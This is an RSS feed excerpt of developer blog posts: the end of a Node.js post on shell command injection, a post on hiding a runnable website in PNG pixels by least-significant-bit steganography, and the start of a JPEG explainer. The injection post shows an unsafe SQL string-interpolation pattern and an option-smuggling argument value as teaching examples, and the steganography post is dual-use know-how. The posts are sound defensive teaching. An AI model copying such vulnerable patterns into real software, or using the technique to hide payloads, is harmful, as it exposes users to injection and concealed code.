&lt;p&gt;The second produces one piece of shell code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep &quot;something&quot; ./notes.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and relies on a shell to discover those boundaries again.&lt;/p&gt;
&lt;p&gt;Once that happens, quoting becomes part of your security model.&lt;/p&gt;
&lt;p&gt;You now need to reason about shell grammar.&lt;/p&gt;
&lt;p&gt;Did I use double quotes?&lt;/p&gt;
&lt;p&gt;Can the input contain a double quote?&lt;/p&gt;
&lt;p&gt;Can it contain command substitution?&lt;/p&gt;
&lt;p&gt;Does the escaping function match this exact shell?&lt;/p&gt;
&lt;p&gt;Will this run on Windows too?&lt;/p&gt;
&lt;p&gt;Will somebody later modify the command template without understanding the escaping assumptions?&lt;/p&gt;
&lt;p&gt;It is possible to escape shell arguments correctly.&lt;/p&gt;
&lt;p&gt;But if you never needed a shell in the first place, that is solving a problem that the architecture created.&lt;/p&gt;
&lt;h2&gt;This is the same shape as other injection vulnerabilities&lt;/h2&gt;
&lt;p&gt;The interesting pattern is larger than Node.js.&lt;/p&gt;
&lt;p&gt;Consider SQL.&lt;/p&gt;
&lt;p&gt;This is dangerous:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const sql = `SELECT * FROM users WHERE name = &apos;${name}&apos;`;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;because data is inserted into SQL source code.&lt;/p&gt;
&lt;p&gt;A parameterized query keeps the structure separate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SQL structure
+
data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;instead of:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;string
↓
SQL parser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Shell command injection has the same shape.&lt;/p&gt;
&lt;p&gt;Unsafe:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;shell structure + data
        ↓
one string
        ↓
shell parser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Safer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;executable
+
arguments
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cross-site scripting has a similar failure mode when text reaches an HTML or JavaScript parser in a context where it can become syntax.&lt;/p&gt;
&lt;p&gt;The general problem is not “special characters.”&lt;/p&gt;
&lt;p&gt;It is &lt;strong&gt;data reaching a parser as code&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;So is &lt;code&gt;execFileSync()&lt;/code&gt; safe?&lt;/h2&gt;
&lt;p&gt;Not universally.&lt;/p&gt;
&lt;p&gt;It removes the shell parser from this particular boundary.&lt;/p&gt;
&lt;p&gt;That eliminates shell command injection through the argument array when &lt;code&gt;execFileSync()&lt;/code&gt; is used without a shell.&lt;/p&gt;
&lt;p&gt;But another parser still exists.&lt;/p&gt;
&lt;p&gt;The target program itself.&lt;/p&gt;
&lt;p&gt;Consider:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execFileSync(&quot;some-tool&quot;, [userInput]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;userInput = &quot;--delete-everything&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;the shell does nothing special with it.&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;some-tool&lt;/code&gt; might.&lt;/p&gt;
&lt;p&gt;Many command-line programs interpret arguments beginning with &lt;code&gt;-&lt;/code&gt; or &lt;code&gt;--&lt;/code&gt; as options.&lt;/p&gt;
&lt;p&gt;So you can avoid shell injection and still expose dangerous program functionality.&lt;/p&gt;
&lt;p&gt;For commands that support it, the conventional &lt;code&gt;--&lt;/code&gt; marker can sometimes make the boundary explicit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execFileSync(&quot;grep&quot;, [&quot;--&quot;, query, &quot;./notes.txt&quot;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here &lt;code&gt;--&lt;/code&gt; tells &lt;code&gt;grep&lt;/code&gt; that subsequent values should be treated as positional arguments rather than options.&lt;/p&gt;
&lt;p&gt;But this is a property of the target program, not of &lt;code&gt;execFileSync()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Different executables have different grammars.&lt;/p&gt;
&lt;p&gt;Removing the shell only removes one interpreter.&lt;/p&gt;
&lt;h2&gt;The executable itself can also be attacker-controlled&lt;/h2&gt;
&lt;p&gt;This would be a different problem:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execFileSync(userControlledExecutable, [arg]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There may be no shell injection, but the user can now decide which program you execute.&lt;/p&gt;
&lt;p&gt;That is obviously dangerous in another way.&lt;/p&gt;
&lt;p&gt;Executable lookup can matter too.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execFileSync(&quot;my-tool&quot;, [arg]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;may rely on &lt;code&gt;PATH&lt;/code&gt; to find &lt;code&gt;my-tool&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If an attacker can influence the environment or executable search path, the security problem shifts from shell syntax to executable resolution.&lt;/p&gt;
&lt;p&gt;Again, &lt;code&gt;execFileSync()&lt;/code&gt; does not mean “safe process execution.”&lt;/p&gt;
&lt;p&gt;It means that Node does not need a shell to interpret the command line.&lt;/p&gt;
&lt;p&gt;That is narrower, and more useful.&lt;/p&gt;
&lt;h2&gt;You can also put the shell back&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;execFileSync()&lt;/code&gt; has a &lt;code&gt;shell&lt;/code&gt; option.&lt;/p&gt;
&lt;p&gt;If you explicitly enable it, you deliberately restore the parser that we just removed.&lt;/p&gt;
&lt;p&gt;Conceptually:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execFileSync(&quot;some-command&quot;, args, {
  shell: true,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;changes the model again:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JavaScript
    ↓
shell
    ↓
target program
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At that point, you must reason about shell semantics again.&lt;/p&gt;
&lt;p&gt;So the useful statement is not:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;execFileSync()&lt;/code&gt; cannot have command injection.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;execFileSync()&lt;/code&gt; does not invoke a shell by default, so its argument array is not interpreted as shell source.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is the security property we care about.&lt;/p&gt;
&lt;h2&gt;Windows has an important exception&lt;/h2&gt;
&lt;p&gt;Unix makes this model relatively clean because normal executable files can be started directly.&lt;/p&gt;
&lt;p&gt;Windows adds an important edge case.&lt;/p&gt;
&lt;p&gt;Files such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.bat
.cmd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;are command scripts.&lt;/p&gt;
&lt;p&gt;They require a command interpreter.&lt;/p&gt;
&lt;p&gt;Node&apos;s documentation specifically calls this out: &lt;code&gt;.bat&lt;/code&gt; and &lt;code&gt;.cmd&lt;/code&gt; files cannot be launched on Windows in exactly the same way as ordinary binaries without involving a shell.&lt;/p&gt;
&lt;p&gt;So once again, the function name is not enough.&lt;/p&gt;
&lt;p&gt;The useful question is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Which parser sees this value before the target program gets it?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the answer includes &lt;code&gt;cmd.exe&lt;/code&gt;, &lt;code&gt;/bin/sh&lt;/code&gt;, Bash, PowerShell or another command interpreter, characters can acquire that interpreter&apos;s syntax.&lt;/p&gt;
&lt;h2&gt;When &lt;code&gt;execSync()&lt;/code&gt; actually makes sense&lt;/h2&gt;
&lt;p&gt;None of this means that &lt;code&gt;execSync()&lt;/code&gt; is a bad API.&lt;/p&gt;
&lt;p&gt;Sometimes you explicitly want a shell.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execSync(
  &quot;cat access.log | grep ERROR | sort | uniq -c&quot;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here the pipeline is the feature.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;|&lt;/code&gt; must be interpreted.&lt;/p&gt;
&lt;p&gt;The shell is useful because you are intentionally writing a shell program.&lt;/p&gt;
&lt;p&gt;The same applies if you need things such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;redirection
globbing
shell variables
pipelines
command substitution
conditional execution
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For fixed internal scripts where every part of the command is trusted, this can be completely reasonable.&lt;/p&gt;
&lt;p&gt;The problem starts when we use a programming-language interface even though we only wanted process execution.&lt;/p&gt;
&lt;p&gt;Then we interpolate untrusted data into that language and spend effort trying to stop the parser from interpreting it.&lt;/p&gt;
&lt;h2&gt;A better decision rule&lt;/h2&gt;
&lt;p&gt;Instead of memorizing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execSync bad
execFileSync good
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ask a different question.&lt;/p&gt;
&lt;p&gt;Do I need a shell language?&lt;/p&gt;
&lt;p&gt;If yes, use a shell deliberately and treat every untrusted value that reaches it as input to a code parser.&lt;/p&gt;
&lt;p&gt;If no, keep the executable and its arguments separate.&lt;/p&gt;
&lt;p&gt;In Node.js, that usually means preferring interfaces such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;execFile()
execFileSync()
spawn()
spawnSync()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;with their normal argument-array form and without &lt;code&gt;shell: true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The deeper distinction is not really between &lt;code&gt;execSync()&lt;/code&gt; and &lt;code&gt;execFileSync()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It is between these two architectures:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data
↓
source code
↓
parser
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;structure
+
data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first asks a parser to decide where the code ends and the data begins.&lt;/p&gt;
&lt;p&gt;The second never erases that boundary.&lt;/p&gt;
&lt;p&gt;That is why the semicolon in our first test executed another command, while the exact same semicolon in the second test was just a semicolon.&lt;/p&gt;
&lt;p&gt;The safest shell parser is often the one you never invoke.&lt;/p&gt;
</content:encoded></item><item><title>How a working website fits inside a PNG image</title><link>https://didof.dev/blog/how-a-website-fits-inside-a-png/</link><guid isPermaLink="true">https://didof.dev/blog/how-a-website-fits-inside-a-png/</guid><description>How least-significant-bit steganography turns a self-contained website into PNG color values, reconstructs it byte for byte, and detects corruption before running it.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Open &lt;a href=&quot;/tools/website-inside-image/&quot;&gt;Website Inside an Image&lt;/a&gt;, load the two samples, and press one button. The tool generates a normal-looking Portable Network Graphics (PNG) image. Move that image to the extractor and a website appears: HyperText Markup Language (HTML), styles, JavaScript and all.&lt;/p&gt;
&lt;p&gt;The button inside the recovered page still works.&lt;/p&gt;
&lt;p&gt;Nothing was linked from a server. The HTML was reconstructed from the image itself.&lt;/p&gt;
&lt;p&gt;The first version did not work this cleanly. On one phone, the extracted stylesheet contained &lt;code&gt;displAy&lt;/code&gt; instead of &lt;code&gt;display&lt;/code&gt;, and the &lt;code&gt;main&lt;/code&gt; selector had become &lt;code&gt;mahn&lt;/code&gt;. The image still looked correct. Two invisible bit changes were enough to damage the code.&lt;/p&gt;
&lt;p&gt;That failure exposes the real mechanism. Hiding a website in an image is easy if an image is treated as a large array of numbers. Recovering the website requires every relevant number to return unchanged.&lt;/p&gt;
&lt;h2&gt;An image already contains millions of numbers&lt;/h2&gt;
&lt;p&gt;Consider an ordinary 8-bit red-green-blue (RGB) pixel. It stores three integers:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;red   = 184
green = 72
blue  = 230
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each value can range from 0 to 255 because it occupies eight binary digits, or bits. Red 184 is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;184 = 10111000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The digits on the left carry most of the value. Flip the first one and the number changes by 128. The digit on the far right carries only one.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;184 = 10111000
185 = 10111001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That final digit is the &lt;strong&gt;least significant bit&lt;/strong&gt;. Replacing it changes the channel by either zero or one. If the payload bit is &lt;code&gt;0&lt;/code&gt;, the encoder clears the final digit. If the payload bit is &lt;code&gt;1&lt;/code&gt;, it sets it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const next = (channelValue &amp;amp; 0b11111110) | payloadBit;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mask clears bit 0. The &lt;code&gt;|&lt;/code&gt; operation inserts the next payload bit. The same operation works for red, green and blue, while alpha remains untouched.&lt;/p&gt;
&lt;p&gt;The image now has two interpretations. An image viewer reads the complete RGB values and draws the picture. Our decoder ignores almost all of each value and reads only the last bit.&lt;/p&gt;
&lt;p&gt;This is a simple form of &lt;strong&gt;steganography&lt;/strong&gt;: communicating while hiding the existence of the communication. The &lt;a href=&quot;https://csrc.nist.gov/glossary/term/steganography&quot;&gt;National Institute of Standards and Technology definition&lt;/a&gt; is useful here because it separates steganography from encryption. Encryption makes a message unreadable without a key. Steganography tries to make the message less apparent in the first place.&lt;/p&gt;
&lt;p&gt;Our experiment does not provide strong secrecy. It writes bits in a predictable sequence, without a key, and a statistical detector could look for the pattern. The point is narrower: the visible image and a second byte stream can occupy the same color samples.&lt;/p&gt;
&lt;h2&gt;The website needs a packet before it needs pixels&lt;/h2&gt;
&lt;p&gt;The browser does not write the characters &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;h&lt;/code&gt;, &lt;code&gt;t&lt;/code&gt;, &lt;code&gt;m&lt;/code&gt;, &lt;code&gt;l&lt;/code&gt; into colors. It first reads the HTML file as bytes. A self-contained document can include its Cascading Style Sheets (CSS) in &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; elements and its JavaScript in &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; elements, so one byte sequence is enough to reproduce the page.&lt;/p&gt;
&lt;p&gt;“Self-contained” is a real boundary. If the document references a remote font, image or script, the image contains the reference, not the external resource. The recovered page may request that resource later, but it was never hidden in the pixels.&lt;/p&gt;
&lt;p&gt;Raw HTML bytes are also not enough. A decoder must know whether a payload exists, which format version it uses, how many bytes to read and whether those bytes survived. The didof.dev tool therefore prefixes the payload with a 24-byte header:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Size&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;8 bytes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DIDOFSTG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Recognizes this packet format&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;Version&lt;/td&gt;
&lt;td&gt;Selects packet grammar version 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;td&gt;Payload type&lt;/td&gt;
&lt;td&gt;Identifies HTML in version 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;2 bytes&lt;/td&gt;
&lt;td&gt;Reserved&lt;/td&gt;
&lt;td&gt;Leaves room for format changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;4 bytes&lt;/td&gt;
&lt;td&gt;Payload length&lt;/td&gt;
&lt;td&gt;States how many HTML bytes follow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;4 bytes&lt;/td&gt;
&lt;td&gt;32-bit Cyclic Redundancy Check (CRC-32)&lt;/td&gt;
&lt;td&gt;Detects changes in the HTML payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;2 bytes&lt;/td&gt;
&lt;td&gt;Filename length&lt;/td&gt;
&lt;td&gt;States how many filename bytes follow&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;2 bytes&lt;/td&gt;
&lt;td&gt;Reserved&lt;/td&gt;
&lt;td&gt;Keeps the header fixed at 24 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The UTF-8 filename comes next, followed by the original HTML bytes. The &lt;a href=&quot;https://encoding.spec.whatwg.org/&quot;&gt;WHATWG Encoding Standard&lt;/a&gt; defines the UTF-8 conversion used by browser &lt;code&gt;TextEncoder&lt;/code&gt; and &lt;code&gt;TextDecoder&lt;/code&gt; APIs.&lt;/p&gt;
&lt;p&gt;The header turns a run of bits into a small protocol. The eight-byte signature answers “is this one of our packets?” The lengths answer “where does each field end?” The checksum answers “did the HTML arrive unchanged?”&lt;/p&gt;
&lt;p&gt;Without those boundaries, extraction would be guesswork.&lt;/p&gt;
&lt;h2&gt;Three bits per pixel become real capacity&lt;/h2&gt;
&lt;p&gt;The encoder uses one bit from each red, green and blue channel. Each pixel therefore carries three payload bits.&lt;/p&gt;
&lt;p&gt;For an image with width &lt;code&gt;W&lt;/code&gt; and height &lt;code&gt;H&lt;/code&gt;, raw capacity is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;capacity in bytes = floor(W × H × 3 / 8)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A 1920 × 1080 image contains 2,073,600 pixels. At three bits per pixel, it can carry 6,220,800 bits, or 777,600 bytes. That is about 759 kibibytes (KiB) before subtracting the 24-byte header and UTF-8 filename.&lt;/p&gt;
&lt;p&gt;Our 1280 × 960 sample offers 460,800 raw bytes. Its sample website is 1,184 bytes. Add the header and the 17-byte filename, and the complete packet uses 1,225 bytes: about 0.27% of the available capacity.&lt;/p&gt;
&lt;p&gt;Only the channels used by the packet are modified. About half of those already have the required final bit and do not change at all. The others move by one.&lt;/p&gt;
&lt;p&gt;This explains why the result looks the same. It does not prove that every LSB payload is perceptually or statistically invisible. Smooth synthetic images, extreme payload sizes and deliberate steganalysis can expose patterns that casual viewing misses. “I cannot see a difference” is an observation, not a security property.&lt;/p&gt;
&lt;h2&gt;Why the output is PNG&lt;/h2&gt;
&lt;p&gt;Writing the bits is useless if saving the image changes them again.&lt;/p&gt;
&lt;p&gt;Portable Network Graphics (PNG) works because it is lossless with respect to its reference image. The &lt;a href=&quot;https://www.w3.org/TR/png-3/&quot;&gt;PNG specification&lt;/a&gt; defines a reversible path: serialize pixel rows, apply a reversible filter, compress the filtered bytes, and place the compressed stream in chunks. A decoder can inflate the stream, reverse the filters and recover the reference samples exactly.&lt;/p&gt;
&lt;p&gt;That does not mean a PNG file is a flat dump of red, green and blue values. Its datastream begins with an eight-byte signature and then contains typed chunks. Three chunk types matter for our generated files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IHDR&lt;/code&gt; describes width, height, bit depth, color type and interlacing;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IDAT&lt;/code&gt; contains the compressed, filtered scanlines;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IEND&lt;/code&gt; marks the end of the datastream.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each chunk also has its own cyclic redundancy check. Those PNG chunk checks protect the structure of the PNG. They are separate from the payload CRC-32 stored inside our hidden packet.&lt;/p&gt;
&lt;p&gt;The writer deliberately produces a small, predictable subset of PNG: non-interlaced, 8-bit red-green-blue-alpha (RGBA). It writes filter type 0 for every row, which means “no prediction,” then compresses the scanlines with &lt;code&gt;CompressionStream(&quot;deflate&quot;)&lt;/code&gt;. The browser API is defined by the &lt;a href=&quot;https://compression.spec.whatwg.org/&quot;&gt;WHATWG Compression Standard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The result can still be smaller than an uncompressed bitmap. Lossless compression changes the representation of the samples, not their values after decompression.&lt;/p&gt;
&lt;p&gt;This distinction matters. The payload is not appended after &lt;code&gt;IEND&lt;/code&gt;, and it is not placed in a text metadata chunk. It lives in the RGB samples that &lt;code&gt;IDAT&lt;/code&gt; represents.&lt;/p&gt;
&lt;h2&gt;The bug hidden behind a correct-looking image&lt;/h2&gt;
&lt;p&gt;The first decoder took the convenient route:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;ask the browser to decode the PNG;&lt;/li&gt;
&lt;li&gt;draw the decoded image to a canvas;&lt;/li&gt;
&lt;li&gt;call &lt;code&gt;getImageData()&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;read the least significant bits.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That sounds equivalent to parsing the PNG. For visual work, it normally is.&lt;/p&gt;
&lt;p&gt;For this protocol, it was not.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.w3.org/TR/png-3/#4Concepts&quot;&gt;PNG specification distinguishes&lt;/a&gt; the stored PNG image from the image representation delivered to an application. It guarantees that the PNG reference image can be recovered exactly from the datastream, but it does not specify one universal application-facing pixel format. Browser rendering also operates in a color space and may perform conversions before values reach a canvas.&lt;/p&gt;
&lt;p&gt;On the tested phone, that path changed two low-order bits. Each color difference was at most one, so the picture remained visually intact. The payload was not. American Standard Code for Information Interchange (ASCII) letters changed, valid CSS identifiers broke, and the page layout failed.&lt;/p&gt;
&lt;p&gt;The exact internal conversion was not isolated, so “color management” should not become a magical explanation for every bit flip. The conclusion we actually measured is simpler: the rendering boundary did not preserve the numerical contract required by the decoder.&lt;/p&gt;
&lt;p&gt;So the final extractor does not render the encoded PNG before reading it.&lt;/p&gt;
&lt;h2&gt;Reading the PNG instead of displaying it&lt;/h2&gt;
&lt;p&gt;The direct decoder treats the uploaded file as a datastream:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PNG bytes
  → verify signature
  → read and verify chunks
  → concatenate IDAT data
  → inflate the compressed stream
  → reverse each scanline filter
  → recover RGBA samples
  → read RGB bit 0 in sequence
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;PNG defines five filter types: None, Sub, Up, Average and Paeth. Filters do not discard information. They replace each byte with a value that is often easier to compress, based on bytes to the left, above or diagonally above it. Decoding adds the same prediction back.&lt;/p&gt;
&lt;p&gt;Our writer currently uses None, but the reader reverses all five types. This matters because a valid PNG encoder is allowed to choose filters row by row.&lt;/p&gt;
&lt;p&gt;The decoder still is not a universal PNG library. It deliberately accepts non-interlaced, 8-bit grayscale, RGB, grayscale-alpha and RGBA input, then normalizes those values into RGBA. It rejects indexed-color, 16-bit and interlaced inputs rather than silently passing them through a conversion that could change bit 0.&lt;/p&gt;
&lt;p&gt;Narrow support is a feature here. A decoder that cannot guarantee the required representation should fail explicitly.&lt;/p&gt;
&lt;p&gt;After generating a PNG, the encoder performs one more test: it immediately parses its own output, reads back the complete hidden packet and compares every byte with the packet it intended to write. The download button appears only after that round trip succeeds.&lt;/p&gt;
&lt;h2&gt;A checksum decides whether the page may run&lt;/h2&gt;
&lt;p&gt;The extractor first reads only the 24-byte header. It checks the &lt;code&gt;DIDOFSTG&lt;/code&gt; signature, verifies the version and calculates whether the declared lengths can fit inside the image. Only then does it read the filename and HTML.&lt;/p&gt;
&lt;p&gt;Next it calculates CRC-32 over the recovered HTML and compares the result with the value stored by the encoder.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stored CRC-32      4A17B2C9
calculated CRC-32  4A17B2C9
                   ────────
                   payload accepted
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A cyclic redundancy check is designed to detect common transmission and storage errors. It is not encryption. It does not authenticate who created the payload, and it cannot repair damaged bytes. CRCs can also have collisions: different data can produce the same check value. The general error-detection boundary is discussed in &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc3385&quot;&gt;RFC 3385&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For this experiment, CRC-32 answers one operational question: do the recovered HTML bytes match the integrity value written for the original payload?&lt;/p&gt;
&lt;p&gt;If they do not, the tool labels the payload damaged and refuses to run or download it. This is why the original two-bit failure should never have appeared as a successful extraction.&lt;/p&gt;
&lt;p&gt;If they match, the bytes are decoded as UTF-8 and assigned to an iframe through &lt;code&gt;srcdoc&lt;/code&gt;. The iframe uses:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;iframe
  sandbox=&quot;allow-scripts allow-forms allow-modals&quot;
  srcdoc=&quot;...recovered HTML...&quot;&amp;gt;
&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;allow-scripts&lt;/code&gt; token lets the reconstructed JavaScript prove that it survived. Because &lt;code&gt;allow-same-origin&lt;/code&gt; is absent, the sandbox retains an opaque origin and does not grant the recovered page ordinary access to the parent application. The exact sandbox behavior is defined by the &lt;a href=&quot;https://html.spec.whatwg.org/multipage/iframe-embed-object.html&quot;&gt;HTML Standard&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This is containment, not a declaration that arbitrary HTML is safe. The current demo also permits forms and modal dialogs. Integrity says the code arrived unchanged; it says nothing about whether that code deserves trust.&lt;/p&gt;
&lt;h2&gt;What “inside the image” actually means&lt;/h2&gt;
&lt;p&gt;The website is not a tiny browser process living in a photograph. The image does not execute anything while it is being viewed.&lt;/p&gt;
&lt;p&gt;The PNG stores RGB samples. Our packet format gives the least significant bits of those samples a second meaning. A compatible decoder recovers that meaning, verifies the bytes and passes the resulting HTML to a browser context that can execute it.&lt;/p&gt;
&lt;p&gt;This connects directly to a broader point from &lt;a href=&quot;/blog/a-file-does-not-know-its-type&quot;&gt;A File Doesn&apos;t Know What Kind of File It Is&lt;/a&gt;: bytes do not carry one universal interpretation. A PNG decoder sees color samples. Our extractor sees those same samples and then applies another grammar to bit 0.&lt;/p&gt;
&lt;p&gt;Both interpretations are real because both follow explicit rules.&lt;/p&gt;
&lt;p&gt;The price is fragility. The protocol assumes the same sample count, the same order and the same least significant values. Convert the image to JPEG, resize it, crop it, apply a filter or take a screenshot, and that assumption disappears. A social platform can preserve the appearance while destroying the hidden byte stream.&lt;/p&gt;
&lt;p&gt;That boundary is now measurable in &lt;a href=&quot;/tools/image-compression-microscope/&quot;&gt;Image Compression Microscope&lt;/a&gt;: JPEG, PNG and WebP can be encoded and decoded in the browser while the tool compares pixel error with hidden-bit survival. &lt;a href=&quot;/blog/can-steganography-survive-image-compression&quot;&gt;The compression-resistant follow-up&lt;/a&gt; then treats the carrier as a noisy channel whose redundancy, error correction and synchronization must be designed together.&lt;/p&gt;
&lt;p&gt;For now, the important shift is smaller.&lt;/p&gt;
&lt;p&gt;An image is not a passive box with a secret compartment. It is an array of samples. If two systems agree on how to interpret the quietest bit of each sample, the same array can be both a picture and a transport protocol.&lt;/p&gt;
</content:encoded></item><item><title>How JPEG turns pixels into frequencies</title><link>https://didof.dev/blog/how-jpeg-compression-works/</link><guid isPermaLink="true">https://didof.dev/blog/how-jpeg-compression-works/</guid><description>Follow one image block as JPEG turns visible detail into frequency weights, rounds some of them away, and reconstructs pixels that look right but are no longer exact.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { ImageCompressionMicroscope } from &quot;@/components/blog/image-compression-microscope/ImageCompressionMicroscope&quot;;&lt;/p&gt;
&lt;p&gt;In the microscope below, JPEG can damage most of the hidden bits in an image while leaving the picture apparently intact.&lt;/p&gt;
&lt;p&gt;That is not a bug in the experiment. It is the point of JPEG.&lt;/p&gt;
&lt;p&gt;The hidden payload needs every selected color value to return exactly. Your eyes do not. If a blue channel comes back as 184 instead of 185, the picture is usually fine. A bit stored in that difference is gone.&lt;/p&gt;
&lt;p&gt;So the interesting question is not how JPEG makes pixels smaller. It is how JPEG decides which changes you probably will not notice.&lt;/p&gt;
&lt;p&gt;&amp;lt;ImageCompressionMicroscope client:visible initialFormat=&quot;jpeg&quot; compact /&amp;gt;&lt;/p&gt;
&lt;p&gt;The three images and the measurements above come from a real browser round trip. The browser encodes the source, decodes the JPEG, and compares the returned pixels. The coefficient panel is different: it is a transparent model of the central mechanism, because the browser does not expose its private encoding decisions.&lt;/p&gt;
&lt;h2&gt;A pixel is the wrong place to look for expendable detail&lt;/h2&gt;
&lt;p&gt;Suppose an encoder examines one pixel in isolation. It sees three color values, but it cannot tell whether changing them will erase a smooth sky, soften skin, or break the edge of a letter. The importance of a pixel depends on its neighbors.&lt;/p&gt;
